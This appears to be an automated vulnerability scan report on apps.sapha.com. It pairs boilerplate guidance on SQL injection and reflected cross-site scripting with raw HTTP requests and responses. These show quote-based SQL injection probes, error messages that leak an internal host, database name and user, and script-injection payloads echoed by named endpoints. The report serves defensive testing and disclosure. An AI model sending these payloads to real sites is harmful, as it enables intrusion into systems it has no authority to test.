SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The ac parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the ac parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /appshandler.php?ac=2546'&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://www.thinksubscription.com/news_releases.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57330%7C33124%7C29375%7C2011-03-16+12%3A54%3A14
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:57:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 391
</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '2546''<br> <b>MySQL ...[SNIP]... </b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2546''' at line 1)<br> ...[SNIP]...
The scs%5Fsid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the scs%5Fsid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
POST /hooktour/tourservice.php?scs_fid=1300301736107 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19 Content-Length: 50
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:58:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 391
</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '2546''<br> <b>MySQL ...[SNIP]... </b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2546''' at line 1)<br> ...[SNIP]...
Request 2
POST /hooktour/tourservice.php?scs_fid=1300301736107 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19 Content-Length: 50
The scs%5Ftid parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the scs%5Ftid parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /hooktour/tourservice.php?scs_fid=1300301736107 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19 Content-Length: 50
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:58:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 754
</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT site_application_id,site_application_name,tour_title,tour_descripti ...[SNIP]... </b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br> ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 4 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b324b"><script>alert(1)</script>44016badcf9819a8d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /hooktour/tourservice.phpb324b"><script>alert(1)</script>44016badcf9819a8d?scs_fid=1300301736107&scs%5Fsid=2546&scs%5Ffn=getSettings&scs%5Ftid=1488 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:58:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 3523
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/ ...[SNIP]... _tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_pvid=57337&scs_vvid=33124&scs_vid=29375&scs_purl=http://apps.sapha.com/hooktour/tourservice.phpb324b"><script>alert(1)</script>44016badcf9819a8d?scs_fid=1300301736107&scs%5Fsid=2546&scs%5Ffn=getSettings&scs%5Ftid=1488"> ...[SNIP]...
The value of the scs%5Ftid request parameter is copied into the HTML document as plain text between tags. The payload e693d<script>alert(1)</script>83f06aaba86 was submitted in the scs%5Ftid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
POST /hooktour/tourservice.php?scs_fid=1300301736107 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19 Content-Length: 50
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:58:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 699
</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT site_application_id,site_application_name,tour_title,tour_descripti ...[SNIP]... m_scripts,custom_scripts_url,alias,showbranding,parse_querystring_vars,cust_formsubmit_enabled,cust_formsubmit_settings,footer_template FROM `site_application_hooktour` WHERE site_application_id = 1488e693d<script>alert(1)</script>83f06aaba86<br> ...[SNIP]...
The value of the sapha_1_19 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 22cb2'%3balert(1)//0b05d6a0e57 was submitted in the sapha_1_19 cookie. This input was echoed as 22cb2';alert(1)//0b05d6a0e57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appshandler.php?ac=1&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://www.sapha.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19; sapha_tst_1=TRUE; sapha_1_19=106743%7C2674154%7C2668188%7C2011-03-16+12%3A55%3A4922cb2'%3balert(1)//0b05d6a0e57
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:58:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: application/x-javascript Content-Length: 26970
var lastpageview_ID='106743';var lastvisit_ID='2674154';var lastvisitor_ID='2668188';var lastvisit_datetime='2011-03-16 12:55:4922cb2';alert(1)//0b05d6a0e57';if(typeof(SCS)=="undefined"){SCS={}}SCS.DOMUtilities=function(){this.addEvent=function(element,event,handler){try{if(element.attachEvent){element.attachEvent("on"+event,handler)}else{if(element.addEv ...[SNIP]...
The value of the sapha_2546_1 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45107'%3balert(1)//6d94dc1d238 was submitted in the sapha_2546_1 cookie. This input was echoed as 45107';alert(1)//6d94dc1d238 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appshandler.php?ac=2546&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://www.thinksubscription.com/news_releases.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57330%7C33124%7C29375%7C2011-03-16+12%3A54%3A1445107'%3balert(1)//6d94dc1d238
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:57:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: application/x-javascript Content-Length: 20423
The response contains the following link to another domain:
http://www.adobe.com/go/getflash/
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /appshandler.php?ac=2546&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://www.thinksubscription.com/prod_think_hosted.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57335%7C33124%7C29375%7C2011-03-16+12%3A55%3A11
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:55:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: application/x-javascript Content-Length: 20395
var lastpageview_ID='57335';var lastvisit_ID='33124';var lastvisitor_ID='29375';var lastvisit_datetime='2011-03-16 12:55:11';function loadDomUtils(){if(document.getElementsByClassName==undefined){docu ...[SNIP]... prop in P){if(prop=="version"){Q.codebase=L+"download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version="+P.version}Q[prop]=P[prop]}}else{return'This content requires the Adobe Flash Player. <a href="http://www.adobe.com/go/getflash/" target="_blank">Get Flash</a> ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
POST /hooktour/tourservice.php?scs_fid=1300301736107 HTTP/1.1 Host: apps.sapha.com Proxy-Connection: keep-alive Referer: http://tours.sapha.com/player/hta750x500.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19 Content-Length: 50